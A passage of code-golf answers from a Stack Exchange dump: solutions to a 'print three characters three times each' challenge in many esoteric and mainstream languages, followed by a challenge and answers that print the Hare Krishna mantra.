[Brain-Flueue](https://tio.run/nexus/brain-flak#@////39d3ZzEvPTSxPRU26SixMy8tJzS1NJUAA) Brain-Flueue is a joke language based off of Brain-Flak. The two are so similar their interpreters are identical everywhere but two lines. The difference between the two is, as their names suggests, Brain-Flueue stores its data in queues while Brain-Flak stores its data in stacks. To start we have the same restrictions on program size created by Brain-Flak, thus we are looking for a program of size 12. In addition we are going to need a `(...)` in order to create any output and another pair. the `<>` and `[]` pairs do not work in Brain-Flueue for the exact same reason they do not work in Brain-Flak. Now we know that our program must consist of the characters `((())){{{}}}`. Via the same methods used in the previous proof we can demonstrate that there must be a loop in the final program. Now here is where the proofs differ, because Brain-Flueue operates across queues rather than stacks the program can exit a loop with values on the queue. In order to exit the loop we will need a zero in the queue (or an empty queue but if the queue is empty we get the same problem as Brain-Flak) this will mean that we will have to open our program with `({})` to create the zero. We will need a push inside of the loop to push the necessary number of items to the queue. We will also need to push a non zero number before the loop so that we can enter the loop at all; this will cost us at absolute minimum `(())`. We have now used more parens than we have. Thus there is no Brain-Flueue program to do the task that is 12 bytes, and furthermore there our program is optimal. ## Optimal solution in [Flakcats](https://github.com/Flakheads/Flakcats) and [Brain-Flak Classic](https://github.com/DJMcMayhem/Brain-Flak/tree/9f22727cc08fc7f48be11393ecfe44db331de55a) The following solution is optimal in Flakcats and Brain-Flak Classic. ``` ((([][][]))) ``` --- ### Explanation ``` [][][] -3 ((( ))) push 3 times ``` ## Alternative 24 byte Brain-Flak solutions ``` (<((<((<(())>)())>)())>) ``` [Try it online!](https://tio.run/nexus/brain-flak#@69howFFmpp2mgji/38A) ``` ((<((<((<>)())>)())>)()) ``` [Try it online!](https://tio.run/nexus/brain-flak#@6@hYQNBdpoampoI4v9/AA) ``` ((((((()()()){}){}){}))) ``` [Try it online!](https://tio.run/nexus/brain-flak#@68BAZogqFldC0Wamv//AwA) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 9 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` **‘‘‘888* ``` A full program which prints **700227072**, which is 888 cubed. **[TryItOnline!](https://tio.run/nexus/jelly#@6@l9ahhBgRZWFho/f8PAA)** ### How? ``` **‘‘‘888* - Main link: no arguments - implicit L=R=0 * - power A = L ^ R = 1 ‘ - increment B = L + 1 = 1 * - power C = A ^ B = 1 ‘ - increment D = C + 1 = 2 ‘ - increment E = D + 1 = 3 888 - literal F = 888 * - power F ^ E = 700227072 ``` [Answer] # Polyglot of purely literal answers, 9 bytes ``` 333111222 ``` This is a community wiki post for collecting answers that are just a literal that the language in question prints out automatically. Because it's a community wiki, feel free to edit it to add more languages where it works. This program works in: * [PHP](https://tio.run/nexus/php#@29sbGxoaGhkZPT/PwA) * HTML (arguably not a language) * [Jelly](https://tio.run/nexus/jelly#@29sbGxoaGhkZPT/PwA) (and [M](https://tio.run/nexus/m#@29sbGxoaGhkZPT/PwA)) * [7](https://tio.run/nexus/7#@29sbGxoaGhkZPT/PwA) (more interesting, because the program's interpreted as both data *and* code; the first `3` prints the data, the rest of the program is useless stack manpulation) * [CJam](https://tio.run/nexus/cjam#@29sbGxoaGhkZPT/PwA) * [Japt](https://tio.run/nexus/japt#@29sbGxoaGhkZPT/PwA) * [Carrot](http://kritixilithos.github.io/Carrot/) * [R](http://www.r-fiddle.org/#/fiddle?id=VQ4Zcpa4) (the R display also outputs [1] as metadata) * [RProgN](https://tio.run/nexus/rprogn#@29sbGxoaGhkZPT/PwA) * [Actually](https://tio.run/nexus/actually#@29sbGxoaGhkZPT/PwA) (though it actually prints `2\n2\n2\n1\n1\n1\n3\n3\n3\n`) * [///](https://tio.run/nexus/slashes#@29sbGxoaGhkZPT/PwA) * [Noodel](https://tkellehe.github.io/noodel/editor.html?code=333222111&input=&run=false) * TI-Basic * [SimpleTemplate](https://github.com/ismael-miguel/SimpleTemplate) * [ReRegex](https://github.com/TehFlaminTaco/ReRegex) * [Husk](https://tio.run/##yygtzv7/39jY2NDQ0MjI6P9/AA) * [Resource](https://tio.run/##K0ot/v/f2NjY0NDQyMjo/38A) (although this outputs the string reversed) * `cat` Ignoring the final newline, this is valid in quite a few more languages: * [05AB1E](https://tio.run/nexus/05ab1e#@29sbGxoaGhkZPT/PwA) * [2sable](https://tio.run/nexus/2sable#@29sbGxoaGhkZPT/PwA) * [GolfScript](https://tio.run/nexus/golfscript#@29sbGxoaGhkZPT/PwA) * [PowerShell](https://tio.run/nexus/powershell#@29sbGxoaGhkZPT/PwA) * m4 (any version, the program is portable) * [Pyth](https://tio.run/nexus/pyth#@29sbGxoaGhkZPT/PwA) * [MATL](https://tio.run/nexus/matl#@29sbGxoaGhkZPT/PwA) * [Pip](https://tio.run/nexus/pip#@29sbGxoaGhkZPT/PwA) * [Stax](https://tio.run/nexus/stax#@29sbGxoaGhkZPT/PwA) * [Ink](https://tio.run/##y8zL/v/f2NjY0NDQyMjo/38A) * [Keg](https://tio.run/##y05N///f2NjY0NDQyMjo/38A) * [Vyxal](https://lyxal.pythonanywhere.com) Most links go to Try It Online! [Answer] ## C#, ~~114~~ ~~111~~ ~~118~~ 102 bytes If we don't care about using proper words: (102 bytes) ``` class CCcddiilMMmmnrrSSsttvvWWyy{static void Main(){{System.Console.Write(("A TEA AT TEE"));;;}}}///". ``` If we care about proper words: (120 bytes) ``` class erebeWyvern{static void Main(){int embedWildbanana;{System.Console.Write(("A TEA AT TEE"));;}}}///CC Myst mvcSMS". ``` My original submission - case insensitive: (113 bytes) ``` class EreBeWyvern{static void Main(){int embedwildbanana; {System.Console.Write(("A TEA AT TEE"));;}}}/// vyt". ``` I know the comment isn't really in the spirit of the CG, but it's all I could come up with in a limited amount of time, I'll see if I can improve it through the day. Surely I must get at least some bonus points for the nod to being adventurous. Edit: Thank you to roberto06 for catching the missing letters! [Answer] # JavaScript, ~~36~~ 33 bytes ``` alert(((alert|alert||333111222))) ``` Alerts `333111222`. This works because `|` converts both of its operands to 32-bit integers, and any value that doesn't look anything like an integer (e.g. the function `alert`) gets converted to `0`. `0|0` is `0`, so the `||` operator returns its right operand, or `333111222` A few more interesting versions: ``` (a="(trelalert)\\\"")+alert(a+=a+=a) ``` Outputs `(trelalert)\"(trelalert)\"(trelalert)\"`. A solution using `.repeat` would be the same length, thanks to the shared `aert`: ``` alert("(trpp.all)\\\"".repeat(3.33)) ``` which outputs `(trpp.all)\"(trpp.all)\"(trpp.all)\"`. Taking advantage of the extra backslashes to get rid of `l` and `p` *almost* works: ``` a\x6cert("(trax.cc)\"".re\x70eat(6.00677)) ``` This one outputs `(trax.cc)"(trax.cc)"(trax.cc)"(trax.cc)"(trax.cc)"(trax.cc)"`. [Answer] # [CJam](https://sourceforge.net/p/cjam), 9 bytes ``` 10,10,10, ``` Outputs `012345678901234567890123456789` [Try it online!](https://tio.run/nexus/cjam#@29ooANB//8DAA "CJam – TIO Nexus") **Explanation** ``` 10, The range from 0 to 9 10, The range from 0 to 9 10, The range from 0 to 9 ``` [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 12 bytes ``` ++[+...][][] ``` Nobody said the output had to be short. This will output 3 copies of every ascii character except the first 2. You can prove that this is as short as it will get. You need to output therefore you need 3 '.' there need to be different outputs therefore you need 3 [+-] now we're up to 6. 9 characters have to be printed, which means either adding 6 more '.' or adding a loop, which will add another 6 characters. [Try it online!](https://tio.run/nexus/brainfuck#@6@tHa2tp6cXGw2E//8DAA "brainfuck – TIO Nexus") [Answer] # [Perl 6](http://perl6.org/), 15 bytes ``` .say;.say;.say; ``` Prints six distinct characters, three times each: ``` (Any) (Any) (Any) ``` [Try it online!](https://tio.run/nexus/perl6#@69XnFhpjSD@/wcA "Perl 6 – TIO Nexus") ### How it works * A bare method call operates on the current topic, `$_`. * `$_` starts out as the [type object](https://docs.perl6.org/language/objects#Type_Objects) of type `Any`, which `say` prints as `(Any)`. [Answer] # Python 2, ~~36~~ 30 bytes Since a trailing newline isn't allowed, this is probably as short as it can get: ``` print"\\\""*3;print;print;3**3 ``` [**Try it online**](https://tio.run/nexus/python2#@19QlJlXohQTE6OkpGVsDeZBSWMtLeP//wE) Outputs `\"` three times, followed by three newlines. --- The below programs don't count the trailing newline, so they're not valid. **27 bytes**: ``` print"""printprint"""*3*3*3 ``` Prints 54 of each character in `print`. [**Try it online**](https://tio.run/nexus/python2#@19QlJlXoqSkBKZhHC1jEPz/HwA) --- **Same length, shorter output:** ``` print"""printprint*3*3"""*3 ``` Outputs `printprint*3*3printprint*3*3printprint*3*3` --- **24 bytes:** ``` print~9;print~9;print~9; ``` [Answer] ## [PKod](https://github.com/PKTINOS/PKod), 9 bytes ``` sonsonson ``` Outputs: 111222333 --- ## Explanation: ``` Background: PKod has only one variable that you mess with, with the code This variable starts with default value of 0 s - Add next char to the variable, and jump over it. n - Print numeric value of variable ``` o has ascii char code "111" in decimal. Thus s adds 111 to the variable, then prints the number. First "son" makes it 111 and prints 111. Next makes it 222 and prints 222, lastly makes it 333 and prints 333 [Answer] # [Ruby](https://www.ruby-lang.org/), 12 bytes ``` p$@;p$@;p$@; ``` outputs ``` nil nil nil ``` [Try it online!](https://tio.run/nexus/ruby#@1@g4mANw///AwA "Ruby – TIO Nexus") To fulfill the second "encouraged" criterion, I need 15 characters: ``` p 1;p 3;p 1133; ``` produces ``` 1 3 1133 ``` [Try it online too!](https://tio.run/nexus/ruby#@1@gYGhdoGAMxIaGxsbW//8DAA "Ruby – TIO Nexus") [Answer] # C, 66 Bytes ``` main(i){{for(i=0;i<3;i++){printf("""poop+fart=<3<3at0m=m0n""");}}} ``` ### Output ``` poop+fart=<3<3at0m=m0npoop+fart=<3<3at0m=m0npoop+fart=<3<3at0m=m0n ``` ### Old Version 72 Bytes ``` main(i){for(i=0;i<3;i++){printf("poop+fart=<3<3 at {\"0m=m0\"}" "\n");}} ``` [Answer] # JavaScript (ES6), 30 bytes ``` +alert((({alert}+{alert}+{}))) ``` Outputs `[object Object][object Object][object Object]`. Works by creating three objects: * the first two are of the form `{ "alert" : alert }` using ES6 notation `{alert}` * the third is a simple empty object Then it uses `+` to concatenate them together, and all three have an identical expression as a string, `[object Object]`. The leading `+` is useless, only present to fill out the number of `+` characters, but is harmless to the output of the program. [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 9 bytes ``` x!!xx@@!@ ``` [Try it online!](https://tio.run/nexus/hexagony#@1@hqFhR4eCg6PD/PwA "Hexagony – TIO Nexus") Print out `120120120`. `x` can be replaced by `f-m` (102-109) ### Explanation ``` x ! ! x x @ @ ! @ . . . ``` The `xx@@` is only a filler to comply with the rules. The main flow is saving `x` into the memory (with ASCII value 120) and then print it as a number 3 times. [Answer] # Microscript II, 9 bytes ``` {{{~~~}}} ``` Explanation: Creates a code block, but doesn't invoke it. When execution ends, the contents of the main register (IE this code block) are implicitly printed. [Answer] # [Bash](https://www.gnu.org/software/bash/) + coreutils, ~~15~~ 9 bytes ``` id;id;id; ``` [Try it online!](https://tio.run/nexus/bash#@5@ZYg1B////BwA "Bash – TIO Nexus") Sample Output: ``` uid=1000 gid=1000 groups=1000 context=system_u:unconfined_r:sandbox_t:s0-s0:c19,c100,c173,c211 uid=1000 gid=1000 groups=1000 context=system_u:unconfined_r:sandbox_t:s0-s0:c19,c100,c173,c211 uid=1000 gid=1000 groups=1000 context=system_u:unconfined_r:sandbox_t:s0-s0:c19,c100,c173,c211 ``` (If you try this out, it will print your uid, gid, etc., 3 times.) --- If you want to avoid repeating the same string 3 times (and also have the same output for everybody, unlike my first answer), the best I've found for bash + Unix utilities is 15 bytes long: ``` dc<<<cczdzfzfdf ``` [Try this second version online!](https://tio.run/nexus/bash#@5@SbGNjk5xclVKVVpWWkvb//38A "Bash – TIO Nexus") Output: ``` 2 0 0 3 2 0 0 3 3 2 0 0 ``` (No newlines in the program, 12 newlines in the output.) Explanation of the dc program in this answer: ``` c Clears the stack. Stack: (empty) c Clears the stack. Stack: (empty) z Pushes the current size of the stack (0) onto the stack. Stack: (top) 0 d Duplicates the item at the top of the stack. Stack: (top) 0 0 z Pushes the current size of the stack (2) onto the stack. Stack: (top) 2 0 0 f Prints the stack, top to bottom, with a newline after each item printed (this prints the first 3 lines of the output, 2 / 0 / 0 /) z Pushes the current size of the stack (3) onto the stack. Stack: (top) 3 2 0 0 f Prints the stack, top to bottom, with a newline after each item printed (this prints the next 4 lines of the output, 3 / 2 / 0 / 0 /) d Duplicates the item at the top of the stack. Stack: (top) 3 3 2 0 0 f Prints the stack, top to bottom, with a newline after each item printed (this prints the final 5 lines of the output, 3 / 3 / 2 / 0 / 0 /) ``` [Answer] # C, 111 bytes (Note how the byte count is also the three same numbers. Wow. You can't do more meta than that.) ``` #include<stdio.h> #define b "<acdhlmoprsu>." #define t "en" main(){{{printf(("<acdhlmoprsu>." b b t t t));;;}}} ``` Prints: ``` <acdhlmoprsu>.<acdhlmoprsu>.<acdhlmoprsu>.enenen ``` [Answer] # [PHP](https://php.net/), 33 bytes ``` <?=($s="<?;<?=;'".'"').($s).($s); ``` Opted for something more interesting than the 9-byte program with no PHP tag. Outputs `<?;<?=;'"<?;<?=;'"<?;<?=;'"` [Try it online!](https://tio.run/nexus/php#@29jb6uhUmyrZGNvDWRaqyvpqSupa@oBxSCE9f//AA "PHP – TIO Nexus") [Answer] # *[99](https://codegolf.stackexchange.com/q/47588/12012)*, 15 bytes ``` 9 9 9999 9 9 9 ``` That is nine nines, three spaces, and three line feeds, the output is **-1110-1110-1110**. **[Try it online!](https://tio.run/nexus/99#@2@pYKmgYAkEXGD4/z8A "99 – TIO Nexus")** ### How? ``` 9 9 9999 - V(9)=V(9)-V(9999)=1-1111=-1110 9 - print V(9) 9 - print V(9) 9 - print V(9) ``` The two spaces are treated as one, this third space could be a trailing space on any line too. [Answer] # [LOLCODE](http://lolcode.org/), ~~273~~ 240 (~~360~~ 286) bytes ``` HAI 1.2 I HAS A U IM IN YR M UPPIN YR Q TIL BOTH SAEM Q 1 VISIBLE "Y SUB.EK" IM OUTTA YR M IM IN YR T UPPIN YR Q TIL BOTH SAEM Q 2 VISIBLE "Y SUB.EK" IM OUTTA YR T IM IN YR X UPPIN YR Q TIL BOTH SAEM Q 12 VISIBLE "IM" IM OUTTA YR X KTHXBYE ``` Note the trailing new line and [try it online](https://tio.run/##hc4xDoMwEATA/l6x4gFI8IOzZMkncCDxObJrSIfE/ysDSUHSkG632NEu6zKt86sUx4KmbkngOIARSTzkhvyARxzHT7xDpYcZ1CGw9Xtv6ClBTG9RZYRoattVx3SIqvxen5BeQe0/SE8oXT76ksT/Gok6dclkS6Vs). The second line was more or less arbitrary and can possibly replaced by a shorter command, but I just learned [LOLCODE](https://github.com/justinmeza/lolcode-spec/blob/master/v1.2/lolcode-spec-v1.2.md) for this puzzle. Since the version number is required in the first line, I used the numbers to add loops of length 1, 2 and 0 mod 3 to ensure the right number of characters will be printed. From this I simply counted each character (with this [tool](https://www.dcode.fr/frequency-analysis)). If it appeared 0 mod 3 times, no action was required. If it appeared 1 mod 3 times, it was added to the 1- and 2-loop so it would appear three times in the output. If it appeared 2 mod 3 times, the character was added to the 12-loop. **EDIT:** By replacing the first `VISIBLE` with an assignment (still useless but required to have 12 instead of 11 new lines), I was able to cut off 33 bytes. Output (60 byte): ``` Y SUB.EK Y SUB.EK Y SUB.EK IM IM IM IM IM IM IM IM IM IM IM IM ``` Note the trailing new line. Nice thing about this solution in comparison to the other answers is that the Output can easily manipulated to output somewhat meaningful text. Example (286 bytes with trailing new line): ``` HAI 1.2 I HAS A U IM IN YR MW UPPIN YR Q TIL BOTH SAEM Q 1 VISIBLE "YO SUB. EEEEK!" IM OUTTA YR MW IM IN YR STA UPPIN YR Q TIL BOTH SAEM Q 2 VISIBLE "YO SUB. EEEEK!" IM OUTTA YR STA IM IN YR XURG UPPIN YR Q TIL BOTH SAEM Q 12 VISIBLE "IMO U R SWAG! " IM OUTTA YR XURG KTHXBYE ``` [Try it online.](https://tio.run/##jc4xDoMwDAXQPaf4cAAkuIEjRcSCNJQkBea2GxL3n4IrBtoF1dP/lvzkdVuf2@udsyVGXTWKYSmAkBQ78A3LCDchDcOR74jcQ/toEcg46bV6cGDdG5SLR0i6gpHpivIj@BQjHcgJBlldiM1/oignOY/t5ZNfJjuPBLmfqC3wawqjumhnvRiV8w4) Output (222 bytes with trailing new line): ``` YO SUB. EEEEK! YO SUB. EEEEK! YO SUB. EEEEK! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! IMO U R SWAG! ``` Sadly, I'm not as good with anagrams as I thought :') [Answer] **SHELL** to joke :) ( **9 Bytes** ) ``` ls;ls;ls; ``` or more seriously ( **24 Bytes** ) ``` sed s/./sed.g./g <<< edg ``` Result : ``` sed.g.sed.g.sed.g. ``` [Answer] PHP, 24 bytes ``` <?=111?><?=222?><?=333?> ``` [Answer] # [V](https://github.com/DJMcMayhem/V), 9 bytes ``` 12i12i12i ``` [Try it online!](https://tio.run/nexus/v#@29olAlB//8DAA "V – TIO Nexus") Outputs `12i` 24 times: ``` 12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i12i ``` --- # Vim, 12 bytes ``` 12i12i12i<ESC><ESC><ESC> ``` Outputs the same as the V answer [Answer] ## Batch, ~~36~~ 21 bytes ``` @echo @echo @echo ``` Outputs ``` ECHO is on. ECHO is on. ECHO is on. ``` Edit: Saved 15 bytes thanks to @P.Ktinos. [Answer] # [Befunge 93](http://esolangs.org/wiki/Befunge), 9 bytes ``` ...,,,@@@ ``` [TIO](https://tio.run/nexus/befunge#@6@np6ejo@Pg4PD/PwA) Prints `0 0 0` (Trailing space, followed by 3 null bytes) Because Befunge's stack is padded with `0`s, we can print both the ASCII character with that value, and the integer itself. Because Befunge automatically prints a space after an integer, we are left with 3 distinct characters. `.` prints `0` (trailing space), `,` prints a null byte, and `@` ends the program [Answer] # Japt, 9 bytes ``` 000OoOoOo ``` Prints `undefinedundefinedundefined`. [Test it online!](http://ethproductions.github.io/japt/?v=1.4.3&code=MDAwT29Pb09v&input=) ### Explanation This code gets transpiled into the following JavaScript: ``` 000,O.o(O.o(O.o())) ``` `O.o` is a function that outputs something without a trailing newline. When given no argument, it prints `undefined`, which could be considered a bug, but comes in handy here. It also returns `undefined`, so all three calls prints `undefined`. I'm sure there are plenty of other ways to do this... [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 9 bytes (I guess you could say this was a piece of PI) *-0 bytes thanks to Emigna/ETHProductions, made the solution more correct.* ``` žqžqžq??? ``` Alternate versions: ``` ž[g-Q]ž[g-Q]ž[g-Q]??? ``` `[g-Q]` - Can put any letter a-Q here, as long as they all match (see below). [Try it online!](https://tio.run/nexus/05ab1e#@390XyEEVduD4P//AA "05AB1E – TIO Nexus") **Explained:** `PI,PI,PI,SORT,JOIN,SORT,JOIN,SORT,JOIN.` **Result:** `...111111222333333333444555555555666777888999999999` The reason it is only 9 bytes is because you don't need the sorts, I just put them in to help illustrate. **Result w/o `{` in the code:** `3.1415926535897933.1415926535897933.141592653589793` --- **Alternative Renditions:** The following commands can be used in place of PI: ``` ž 23 > žg push current year žh push [0-9] ži push [a-zA-Z] žj push [a-zA-Z0-9_] žk push [z-aZ-A] žl push [z-aZ-A9-0_] žm push [9-0] žn push [A-Za-z] žo push [Z-Az-a] žp push [Z-A] žq push pi žr push e žu push ()<>[]{} žy push 128 žz push 256 žA push 512 žB push 1024 žC push 2048 žD push 4096 žE push 8192 žF push 16384 žG push 32768 žH push 65536 žI push 2147483648 žJ push 4294967296 žK push [a-zA-Z0-9] žL push [z-aZ-A9-0] žM push aeiou žN push bcdfghjklmnpqrstvwxyz žO push aeiouy žP push bcdfghjklmnpqrstvwxz žQ push printable ASCII character set (32-128) ``` [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 12 bytes A bit of a boring answer really. Outputs three `10`s followed by newlines ``` N@N@NOoOoOo@ ``` [Try it online!](https://tio.run/nexus/cubix#@@/nAIT@@SDo8P8/AA "Cubix – TIO Nexus") Maps to the cube ``` N @ N @ N O o O o O o @ . . . . . . . . . . . . ``` `N` Pushs 10 to the stack `Oo` x3 Outputs 10 and newline `@` halts the program The initial `N@N@` is not hit. [Answer] # [Japt](https://github.com/ETHproductions/japt), 9 bytes ``` `í`²²²í`í ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=YO1gsrKy7WDt&input=) Outputs ``` ''sseerreerreerr'sererer'sererer'sererer'sererer'sererer'sererer'sererer ``` which contains each char of `'sererer` 9 times. I found this by accident while experimenting with Japt, and wanted to share this which IMO is much more interesting than [a number literal polyglot](https://codegolf.stackexchange.com/questions/108133/three-three-three/108142?s=2|6.8963#108142) and [a solution that has three dummy bytes and simply prints something three times](https://codegolf.stackexchange.com/questions/108133/three-three-three/108263?s=1|8.6255#108263), even though those are also 9 bytes. ### How it works ``` `í`²²²í`í `í` Shoco-compressed string of "'sererer" ² Repeat 2 times ² Repeat 2 times ² Repeat 2 times í Interleave with ... into a string `í Shoco-compressed string of "'sererer" ``` Japt uses shoco library for string compression, which excels at compressing sequences of lowercase letters. It's actually surprising that one byte can decompress into an 8-char string. [Answer] # [SMBF](https://esolangs.org/wiki/Self-modifying_Brainfuck), ~~18~~ ~~15~~ 12 bytes This program prints its source code backwards. The first loop `[[..]]` and last `<` could be removed if it weren't for the source-restriction. ``` [[..]]<[.<]< ``` [**Try it online**](https://tio.run/nexus/smbf#@x8dracXG2sTrWcTa/P/PwA) **Output:** ``` <]<.[<]]..[[ ``` ### Proof of Optimality: Since the output requires at least nine characters (3 unique, 3 each), the program either needs nine prints `.` plus 3x2 other instructions to meet the source-restriction (this means 15 bytes), or the code uses a loop. If it uses a loop, the characters necessary are `[].`, three of each. Of course, a movement instruction `<` or `>` is necessary to avoid an infinite loop, meaning that a valid solution will be at least 12 bytes. ]
[Question] [ Recently, I've seen Hare Krishna people with their mantra on the emblem and I've found it may be quite interesting to code golf. # The challenge Write the [Hare Krishna mantra](https://en.wikipedia.org/wiki/Hare_Krishna_(mantra)), i.e.: ``` Hare Krishna Hare Krishna Krishna Krishna Hare Hare Hare Rama Hare Rama Rama Rama Hare Hare ``` # Winning criteria This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so shortest code in bytes wins! # Rules * Casing must be preserved. * Text should contain new lines. * Lines may have trailing space(s). * Trailing newline is allowed. * Parsing from web or any other external resource disallowed. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 22 bytes ``` “t,ȧṫÞċḅ»Ḳ“¡¥Ɓc’ṃs4K€Y ``` [Try it online!](https://tio.run/nexus/jelly#ATAAz///4oCcdCzIp@G5q8OexIvhuIXCu@G4suKAnMKhwqXGgWPigJnhuYNzNEvigqxZ//8 "Jelly – TIO Nexus") ### How it works ``` “t,ȧṫÞċḅ»Ḳ“¡¥Ɓc’ṃs4K€Y Main link. No arguments. “t,ȧṫÞċḅ» Use Jelly's dictionary to yield the string "Hare Rama Krishna". Fortunately, the words Rama, Krishna, and hare (lowercase H) are in the dictionary. Ḳ Split at spaces, yielding ["Hare", "Rama", "Krishna"]. “¡¥Ɓc’ Base-250 literal; yielding 15973600. ṃ Convert 15973600 to base ["Hare", "Rama", "Krishna"] (ternary), where "Krishna" = 0, "Hare" = 1, and "Rama" = 2. s4 Split the resulting string array into chunks of length 4. K€ Join each of the four chunks by spaces. Y Join the resulting strings by linefeeds. ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 38 bytes Can be shortened by 2 bytes if trailing newlines are okay. ``` “«Î‡Ä¦í¥Â“#€¦`«'kì)™ð«•2ÍZì•3BSè#4ô¨»? ``` [Try it online!](https://tio.run/nexus/05ab1e#AUkAtv//4oCcwqvDjuKAocOEwqbDrcKlw4LigJwj4oKswqZgwqsna8OsKeKEosOwwqvigKIyw41aw6zigKIzQlPDqCM0w7TCqMK7P/// "05AB1E – TIO Nexus") **Explanation** ``` “«Î‡Ä¦í¥Â“ # push the string "drama share irish dna" # # split on spaces €¦ # remove the first character of each word ` # split to stack as separate words «'kì # concatenate the last 2 and prepend "k" )™ # wrap in list and title-case ð« # append a space to each •2ÍZì• # push 27073120 3B # convert to base-3: 1212221110100011 Sè # index into the list with each # # split on spaces 4ô # split into pieces of 4 ¨ # remove the last » # join on spaces and newlines ? # print without newline ``` [Answer] # [Python 2](https://docs.python.org/2/), 60 bytes ``` a="Hare" for x in"Krishna","Rama":print a,x,a,x+'\n',x,x,a,a ``` [Try it online!](https://tio.run/nexus/python2#@59oq@SRWJSqxJWWX6RQoZCZp@RdlFmckZeopKMUlJibqGRVUJSZV6KQqFOhA8Ta6jF56kAmiJP4/z8A "Python 2 – TIO Nexus") This seems to beat template-replacement approaches [like this attempt](https://tio.run/nexus/python3#@19QlJlXoqHEyMTIFJPHxMTIGJPHyMzIHJPHzMzIqKRXUpSYV5yTWJKqEW2go@SRWJSqoKSj5F2UWZyRlwhiBiXmAulYTc3//wE). [Answer] # Octave, ~~74~~ 59 bytes ``` [{'Hare ','Krishna ','Rama ',10}{'ababdbbaadacacdccaa'-96}] ``` [Verify the output here](https://tio.run/#pH5l6). **Explanation:** `{'Hare ','Krishna ','Rama ',10}` creates a cell array with three strings, where the fourth is `10` (ASCII-value for newline). `{'ababdbbaadacacdccaa'-96}` is a vector that indexes the cell array above. The vector is `[1 2 1 2 4 ...]` since we subtract `96` from the string `ababd...`. The surrounding square brackets are used to concatenate the results, instead of getting `ans = Hare; and = Krishna; ans = ...` [Answer] # [Retina](https://github.com/m-ender/retina), 39 bytes ``` hkhk¶kkhh h Hare *`k Krishna k Rama ``` [Try it online!](https://tio.run/nexus/retina#@8@VkZ2RfWhbdnZGBlcGl0diUaoCl1ZCNpd3UWZxRl6iAlc2V1BibqLC//8A "Retina – TIO Nexus") Mostly plain substitutions, the only "trick" is the modifier `*` which prints the result of the substitution and then reverts the string back to what it was before. [Answer] # PHP, 61 Bytes ``` <?=strtr("0101 1100 0202 2200",["Hare ","Krishna ","Rama "]); ``` simply replacement from the digits as key in the array with the values [strtr](http://php.net/manual/en/function.strtr.php) [Try it online!](https://tio.run/nexus/php#@29jb1tcUlRSpKFkYGhgyGVoaGDAZWBkYMRlZGRgoKQTreSRWJSqoKSj5F2UWZyRlwhiBiXmAulYTev//wE "PHP – TIO Nexus") [Answer] # JavaScript, ~~75~~ 70 bytes ``` `0101 1100 0202 2200`.replace(/./g,n=>['Hare ','Krishna ','Rama '][n]) ``` ### Try it online! ``` console.log(`0101 1100 0202 2200`.replace(/./g,n=>['Hare ','Krishna ','Rama '][n])) ``` [Answer] # C # ~~154 bytes, 124 bytes,~~ 96 bytes ``` i;main(){char*c="agagvggaavapapvppaaHare \0Krishna \0Rama \0\n";while(i<19)printf(c+c[i++]-78);} ``` [Try it online!](https://tio.run/nexus/c-gcc#@59pnZuYmaehWZ2ckViklWyrlJiemF6Wnp6YWJZYkFhQVlCQmOiRWJSqEGPgXZRZnJGXCGQFJeaCqJg8JevyjMycVI1MG0NLzYKizLySNI1k7eToTG3tWF1zC03r2v//AQ "C (gcc) – TIO Nexus") 28 bytes saved, thanks to [Dennis](https://codegolf.stackexchange.com/users/12012/dennis) [Answer] # [V](https://github.com/DJMcMayhem/V), ~~40~~, 36 bytes ``` iHare Krishna  Rama ç^/ä$Ùdww.$2p ``` [Try it online!](https://tio.run/nexus/v#@5/pkViUquBdlFmckZeowMWnEJSYm6ggfXh5nP7hJSqHZ6aUl@upGBX8/w8A "V – TIO Nexus") Hexdump: ``` 00000000: 6948 6172 6520 4b72 6973 686e 6120 0a0e iHare Krishna .. 00000010: 2052 616d 6120 1be7 5e2f e424 d964 7777 Rama ..^/.$.dww 00000020: 2e24 3270 .$2p ``` Explanation: ``` iHare Krishna " Enter 'Hare Krishna' on line 1 <C-n> Rama " Enter 'Hare Rama' on line 2. This works because <C-n> " autocompletes alphabetically, and 'Hare' comes before 'Krishna' <esc> " Return to normal mode ç^/ " On every line: ä$ " Duplicate the text on the line horizontally Ù " Make a new copy of the line dw " Delete a word w " Move forward a word . " Delete a word again $ " Move to the end of the line 2p " And paste what we've deleted twice ``` The `<C-n>` command is extremely useful for challenges like this. :) [Answer] # C#, 109 bytes ``` void a(){Console.Write("{0}{1}{0}{1}\n{1}{1}{0}{0}\n{0}{2}{0}{2}\n{2}{2}{0}{0}","Hare ","Krishna ","Rama ");} ``` Fairly straightforward, `Console.Write` implicitly formats the string, and using `Write` instead of `WriteLine` not only saves 4 bytes, but avoids a trailing newline. Uses Unix-style newlines so might not work so well on windows, extra 6 bytes for windows by changing `\n` to `\r\n` This method will output directly to the console, if you prefer a method that returns a string: ### C#, 118 bytes ``` string a(){return string.Format("{0}{1}{0}{1}\n{1}{1}{0}{0}\n{0}{2}{0}{2}\n{2}{2}{0}{0}","Hare ","Krishna ","Rama ");} ``` Alternatively if you need a fully stand-alone and compilable program: ### C#, 135 bytes ``` class A{static void main(){System.Console.Write("{0}{1}{0}{1}\n{1}{1}{0}{0}\n{0}{2}{0}{2}\n{2}{2}{0}{0}","Hare ","Krishna ","Rama ");}} ``` This should work as a compiled program provided you set `A` as the entry class. [Answer] # Python 2, ~~92~~ ~~88~~ 74 bytes ``` for i in'0101311003020232200':print['Hare','Krishna','Rama','\n'][int(i)], ``` [Try it online!](https://tio.run/nexus/python2#@5@WX6SQqZCZp25gaGBobGhoYGBsYGRgZGxkZGCgblVQlJlXEq3ukViUqq6j7l2UWZyRlwhkBSXmgqiYPPXYaKAKjUzNWJ3//wE "Python 2 – TIO Nexus") *No*, it's not clever, no, it's not the shortest but 